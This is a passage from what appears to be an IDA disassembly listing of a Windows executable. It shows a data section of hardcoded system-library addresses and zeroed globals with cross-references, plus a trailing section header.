dword_424698	dd 77E79F93h		; DATA XREF: sub_410253+4Cr
					; _3:00411E99r	...
dword_42469C	dd 77E719F3h		; DATA XREF: sub_412300+292w
					; sub_41DFF8+76r
dword_4246A0	dd 77E61FD2h		; DATA XREF: sub_412300+2A6w
					; sub_41E07F+3Br
dword_4246A4	dd 77E72C64h		; DATA XREF: sub_412300+2BAw
					; sub_41DF52+95r
dword_4246A8	dd 77E7A5FDh		; DATA XREF: _3:00411EC2r
					; sub_412300+2CEw ...
dword_4246AC	dd 77E6167Bh		; DATA XREF: sub_412300+2E2w
					; sub_414C5A+97r ...
dword_4246B0	dd 77E6AF8Fh		; DATA XREF: sub_412300+2F6w
					; sub_41396C+1A6r
dword_4246B4	dd 77E6AD34h		; DATA XREF: sub_412300+30Aw
					; sub_41396C+193r ...
dword_4246B8	dd 77E7C657h		; DATA XREF: sub_412300+31Ew
dword_4246BC	dd 77E7751Ah		; DATA XREF: _3:00411EFFr
					; sub_412300+332w
dword_4246C0	dd 77F516F8h		; DATA XREF: sub_412300+346w
					; sub_41BA4A+1Fr
dword_4246C4	dd 77F51597h		; DATA XREF: sub_412300+35Aw
					; sub_41BACD+1Cr
dword_4246C8	dd 77E7C726h		; DATA XREF: sub_412300+36Ew
					; sub_41BA87+16r
dword_4246CC	dd 77E79908h		; DATA XREF: sub_412300+382w
					; sub_416C60+2Er ...
dword_4246D0	dd 77F53275h		; DATA XREF: sub_412300+396w
					; sub_41EB05+2Br
dword_4246D4	dd 77F7E300h		; DATA XREF: sub_412300+3AAw
					; sub_41363F+5r ...
dword_4246D8	dd 77E805B8h		; DATA XREF: sub_412300+3D2w
					; sub_419995+16Ar
dword_4246DC	dd 77E805D8h		; DATA XREF: sub_412300+3BEw
					; sub_412300+5D0r ...
dword_4246E0	dd 77E79881h		; DATA XREF: sub_412300+3E6w
dword_4246E4	dd 77E79A45h		; DATA XREF: sub_412300+3FAw
					; sub_41BF54+9r
dword_4246E8	dd 77E64E2Bh		; DATA XREF: sub_412300+40Ew
					; sub_41DD77+23r
dword_4246EC	dd 77E74D76h		; DATA XREF: sub_412300+422w
					; _3:00412C7Dr	...
dword_4246F0	dd 77E77CCEh		; DATA XREF: sub_412300+436w
					; sub_41D112+69r ...
dword_4246F4	dd 77E706B7h		; DATA XREF: sub_412300+44Aw
dword_4246F8	dd 77E6D706h		; DATA XREF: _3:00411EB3r _3:00411EDCr ...
dword_4246FC	dd 77E78B82h		; DATA XREF: sub_412300+472w
					; _3:00414B09r	...
dword_424700	dd 77E6BD68h		; DATA XREF: sub_412300+486w
dword_424704	dd 77E74A3Bh		; DATA XREF: sub_412300+49Aw
					; sub_41E6D7+57r
dword_424708	dd 77E78C81h		; DATA XREF: sub_412300+4AEw
					; sub_414344+74r ...
dword_42470C	dd 77F51587h		; DATA XREF: sub_412300+4C2w
					; sub_413272+3BCr ...
dword_424710	dd 77E7C9E7h		; DATA XREF: sub_412300+4D6w
					; sub_41C307+8r ...
dword_424714	dd 77E61BE6h		; DATA XREF: sub_410253+100r
					; sub_410386+4Dr ...
dword_424718	dd 77E616B4h		; DATA XREF: sub_412300+4FEw
					; sub_41BAF1+2Dr ...
dword_42471C	dd 77E64EA0h		; DATA XREF: sub_412300+512w
					; sub_41DDB3+23r
dword_424720	dd 77E75090h		; DATA XREF: sub_412300+526w
					; sub_41E836+17r
dword_424724	dd 77E7980Ah		; DATA XREF: sub_412300+53Aw
					; sub_413FDF+124r ...
dword_424728	dd 77E79E34h		; DATA XREF: sub_412300+54Ew
					; sub_413EED+91r ...
dword_42472C	dd 77E6169Ah		; DATA XREF: sub_412300+562w
					; sub_413FDF+1A7r ...
dword_424730	dd 77E7F044h		; DATA XREF: sub_412300+576w
					; sub_41C5E3+56r
dword_424734	dd 77E79D5Bh		; DATA XREF: sub_412300+58Aw
dword_424738	dd 77E79924h		; DATA XREF: sub_412300+59Ew
					; sub_41D85C+6Ar ...
dword_42473C	dd 77E79D8Ch		; DATA XREF: sub_412300+5B2w
					; sub_41396C+282r ...
dword_424740	dd 77E76A2Eh		; DATA XREF: sub_412300+5C6w
					; sub_415B59+1E2r ...
dword_424744	dd 77D98E9Ah		; DATA XREF: sub_412300+5FFw
					; sub_41BAF1+Br ...
dword_424748	dd 77D44D9Bh		; DATA XREF: sub_412300+613w
					; sub_413272+88r ...
dword_42474C	dd 77D4D42Bh		; DATA XREF: sub_412300+627w
					; sub_41E4C5+44r
dword_424750	dd 77D6ADD7h		; DATA XREF: sub_412300+63Bw
					; sub_41BAF1+1Er ...
dword_424754	dd 77D4C96Ah		; DATA XREF: sub_412300+64Fw
					; sub_41AB84+5Dr ...
dword_424758	dd 77D4C783h		; DATA XREF: sub_412300+663w
					; sub_41BB7C+45r ...
dword_42475C	dd 77C87425h		; DATA XREF: sub_412300+69Cw
					; sub_41396C+2D4r
dword_424760	dd 77C7212Fh		; DATA XREF: sub_41015E+41r
					; sub_412300+6B0w ...
dword_424764	dd 77C76551h		; DATA XREF: sub_412300+6C4w
					; sub_418F16+1D1r
dword_424768	dd 77C72C6Bh		; DATA XREF: sub_41015E+8Ar
					; sub_412300+6D8w ...
dword_42476C	dd 77C87887h		; DATA XREF: sub_412300+6ECw
					; sub_413D44+E6r ...
dword_424770	dd 77D458EEh		; DATA XREF: sub_41015E+38r
					; sub_412300+700w
dword_424774	dd 77D458FDh		; DATA XREF: sub_41015E+97r
					; sub_412300+714w
dword_424778	dd 77C7506Dh		; DATA XREF: sub_41015E+2Br
					; sub_410253+26r ...
dword_42477C	dd 77C71BB0h		; DATA XREF: sub_41015E+53r
					; sub_41015E+81r ...
dword_424780	dd 77C72889h		; DATA XREF: sub_410253+119r
					; sub_412300+750w
dword_424784	dd 77C729E2h		; DATA XREF: sub_41015E+75r
					; sub_412300+764w
dword_424788	dd 77D45CBCh		; DATA XREF: sub_410216+Fr
					; sub_412300+778w
dword_42478C	dd 77D48977h		; DATA XREF: sub_410216+23r
					; sub_412300+78Cw
dword_424790	dd 77D47F34h		; DATA XREF: sub_410216+2Cr
					; sub_412300+7A0w
dword_424794	dd 77D4DCCCh		; DATA XREF: sub_410253+5Cr
					; sub_412300+7B4w
dword_424798	dd 77D477C0h		; DATA XREF: sub_410253+64r
					; sub_410253+6Fr ...
dword_42479C	dd 77D414D4h		; DATA XREF: sub_410253+AFr
					; sub_412300+7DCw
dword_4247A0	dd 77D44200h		; DATA XREF: sub_410253+CBr
					; sub_412300+7F0w
dword_4247A4	dd 77D43DD3h		; DATA XREF: sub_410253+E9r
					; sub_412300+804w
dword_4247A8	dd 77D441F2h		; DATA XREF: sub_410253+F3r
					; sub_412300+818w
dword_4247AC	dd 77D49A11h		; DATA XREF: sub_410253+109r
					; sub_412300+82Cw
dword_4247B0	dd 77D47627h		; DATA XREF: sub_410253+126r
					; sub_412300+840w
dword_4247B4	dd 77D46F5Bh		; DATA XREF: sub_412300+854w
dword_4247B8	dd 77D442CFh		; DATA XREF: _3:004122E7r
					; sub_412300+868w
dword_4247BC	dd 77E7AC37h		; DATA XREF: sub_410386+45r
					; sub_412300+87Cw
dword_4247C0	dd 0			; DATA XREF: sub_412300+888o
byte_4247C4	db 0			; DATA XREF: sub_413186+69o
					; sub_413186+7Fw ...
		align 4
		dd 20h dup(0)
dword_424848	dd 77FC5920h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_413272+25o
					; sub_41363Fo ...
dword_424860	dd 8D0538h		; DATA XREF: sub_413EED+25r
					; sub_413EED+5Dr ...
dword_424864	dd 8D00A8h		; DATA XREF: sub_413056+50r
					; sub_413056+8Er ...
dword_424868	dd 8D02F0h		; DATA XREF: sub_41396C:loc_413A3Er
					; sub_41396C+10Br ...
dword_42486C	dd 8D0780h		; DATA XREF: sub_41365E+7Er
					; sub_4136FE+25r ...
dword_424870	dd 0			; DATA XREF: sub_416BE0+8r
					; sub_416BE0+19r
dword_424874	dd 0			; DATA XREF: sub_416BE0+10r
dword_424878	dd 890048h		; DATA XREF: _3:00414A26r _3:00414AFDr ...
dword_42487C	dd 8A0090h		; DATA XREF: sub_416C60+57Cw
					; _5:off_423B78o
dword_424880	dd 8B0098h		; DATA XREF: sub_416C60+59Aw
					; _5:00423B90o
dword_424884	dd 8C00A0h		; DATA XREF: sub_416C60+5B9w
					; _5:00423BA8o
dword_424888	dd 8520F8h		; DATA XREF: sub_413272+34r
					; sub_413272+5Er ...
dword_42488C	dd 852320h		; DATA XREF: sub_416C60+144w
					; sub_416C60+151r ...
dword_424890	dd 4000F0h		; DATA XREF: _3:0041747Fw _3:00417485r ...
dword_424894	dd 0			; DATA XREF: sub_418730+4r
					; sub_418730+Cw ...
dword_424898	dd 0			; DATA XREF: sub_410253+A3o
					; sub_41DFF8+37o
dword_42489C	dd 0			; DATA XREF: sub_41AA23+11r
					; sub_41AB84+22w ...
		dd 0
dword_4248A4	dd 0			; DATA XREF: sub_419529+359w
					; sub_419529+377w ...
dword_4248A8	dd 0			; DATA XREF: sub_41AA23+24w
					; sub_41AA23+29r ...
dword_4248AC	dd 8D0C70h		; DATA XREF: sub_419529+23Br
					; sub_419529+26Br ...
dword_4248B0	dd 8D0D30h		; DATA XREF: sub_41D40A+F6w
dword_4248B4	dd 8D0CD0h		; DATA XREF: sub_41925C+1Ar
					; sub_419529+19Er ...
dword_4248B8	dd 0			; DATA XREF: sub_419995+C40w
					; sub_41A8B3+5Fr
dword_4248BC	dd 0			; DATA XREF: sub_41922D+3r
					; sub_41922D+1Dw ...
dword_4248C0	dd 0			; DATA XREF: sub_419529+365w
					; sub_419529+37Cr
dword_4248C4	dd 0			; DATA XREF: sub_419995+4Fr
					; sub_419995+D8r ...
dword_4248C8	dd 0			; DATA XREF: sub_419995+FAr
					; sub_419995+100w ...
dword_4248CC	dd 0			; DATA XREF: sub_4198F2+5r
					; sub_419903+Ar ...
dword_4248D0	dd 0			; DATA XREF: sub_41AA23+9Br
					; sub_41AB84+9Ew ...
dword_4248D4	dd 0			; DATA XREF: sub_41AA23+A8r
					; sub_41AB84+CCw ...
dword_4248D8	dd 0			; DATA XREF: sub_41AA23+BAr
					; sub_41AB84+FAw ...
dword_4248DC	dd 0			; DATA XREF: sub_41AA23+D4r
					; sub_41AB84+128w ...
dword_4248E0	dd 0			; DATA XREF: sub_41AA23+F0r
					; sub_41AA23+10Cr ...
dword_4248E4	dd 0			; DATA XREF: sub_41AA23+11Er
					; sub_41AA23+135r ...
dword_4248E8	dd 0			; DATA XREF: sub_41AA23+3Fr
					; sub_41AB84+1B2w ...
dword_4248EC	dd 0			; DATA XREF: sub_41AA23+5Dr
					; sub_41AB84+1E0w ...
dword_4248F0	dd 0			; DATA XREF: sub_41AA23+13Dr
					; sub_41AB84+20Ew ...
dword_4248F4	dd 0			; DATA XREF: sub_41AA23+1Er
					; sub_41AB84+23Cw ...
dword_4248F8	dd 0			; DATA XREF: sub_41AA23+C2r
					; sub_41AA23+FFr ...
dword_4248FC	dd 0			; DATA XREF: sub_41AA23+6Br
					; sub_41AB84+298w ...
dword_424900	dd 20h dup(0)		; DATA XREF: sub_41AA23+CFo
					; sub_41AB84+45o ...
dword_424980	dd 0			; DATA XREF: sub_41BF82+27w
					; sub_41BF82+32r
		align 8
dword_424988	dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_411310+3A8o
					; sub_41BB7C+6o ...
byte_4249A0	db 0			; DATA XREF: sub_41BF82+7r
					; sub_41BF82+15r ...
		align 4
dword_4249A4	dd 850000h		; DATA XREF: sub_41BA87+4r
					; sub_41BA87+22w ...
dword_4249A8	dd 1000h dup(0)		; DATA XREF: sub_41BB7C+11o
					; sub_41BBE7+5o
dword_4289A8	dd 0			; DATA XREF: sub_41BF82+7Cr
					; sub_41BF82+82w ...
		align 10h
dword_4289B0	dd 0			; DATA XREF: sub_41015E+25r
					; sub_41015E+4Ar ...
dword_4289B4	dd 0			; DATA XREF: sub_410253+BBw
					; sub_410253+10Fw ...
dword_4289B8	dd 2 dup(0)		; DATA XREF: sub_410386+32o
dword_4289C0	dd 0			; DATA XREF: sub_410253+2Cw
					; sub_410253+57o
		align 8
dword_4289C8	dd 0			; DATA XREF: sub_410253+36w
		dd 2 dup(0)
dword_4289D4	dd 0			; DATA XREF: sub_410253+52w
		dd 4 dup(0)
dword_4289E8	dd 0			; DATA XREF: sub_410253+40w
		align 10h
dword_4289F0	dd 0ECh	dup(0)		; DATA XREF: sub_41C5E3+28o
					; sub_41C5E3+42o ...
byte_428DA0	db 0			; DATA XREF: sub_41C7DF+71w
					; sub_41C7DF+8Fr
byte_428DA1	db 0			; DATA XREF: sub_41C7DF+7Bw
byte_428DA2	db 0			; DATA XREF: sub_41C7DF+85w
		align 4
		dd 13h dup(0)
dword_428DF0	dd 42h dup(0)		; DATA XREF: sub_41C7DF+Bo
					; sub_41C7DF+17o ...
dword_428EF8	dd 40h dup(0)		; DATA XREF: sub_41CD16+ABo
					; sub_41CDFA+5Do
dword_428FF8	dd 77FC59E0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_41CD16+25o
					; sub_41CD74o ...
dword_429010	dd 0			; DATA XREF: sub_41CD16+34r
					; sub_41CD16+4Ew ...
		align 8
dword_429018	dd 77FC59C0h, 0		; DATA XREF: sub_41D40A+6o
					; sub_41D6FE+25o
		dd 1, 0E0h, 2 dup(0)
byte_429030	db 1			; DATA XREF: sub_41D332:loc_41D342r
					; sub_41D6FE+30w
		align 4
dword_429034	dd 8D09C8h		; DATA XREF: sub_418E90+Dr
					; sub_418E90+26r ...
dword_429038	dd 8D0C10h		; DATA XREF: sub_418B90+264r
					; sub_41D40A+72w ...
dword_42903C	dd 0			; DATA XREF: sub_411310+3EFw
dword_429040	dd 0			; DATA XREF: sub_41E952+2Fw
					; sub_41E952+47r
byte_429044	db 0			; DATA XREF: sub_41E952+4r
					; sub_41E952+12r ...
		align 4
dword_429048	dd 0			; DATA XREF: sub_410A10+28r
					; sub_410A10+4Cw ...
dword_42904C	dd 2 dup(0)		; DATA XREF: sub_410F10+Co
dword_429054	dd 0			; DATA XREF: sub_41072E+4r
					; sub_41072E+9Dr ...
		dd 3 dup(0)
dword_429064	dd 0			; DATA XREF: sub_410A10+C0r
					; sub_410D4F+A6r
		dd 0
dword_42906C	dd 0			; DATA XREF: sub_410D4F+26r
					; sub_410D4F:loc_410DB9w
_5		ends

; Section 7. (virtual address 0002A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00029200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 42A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start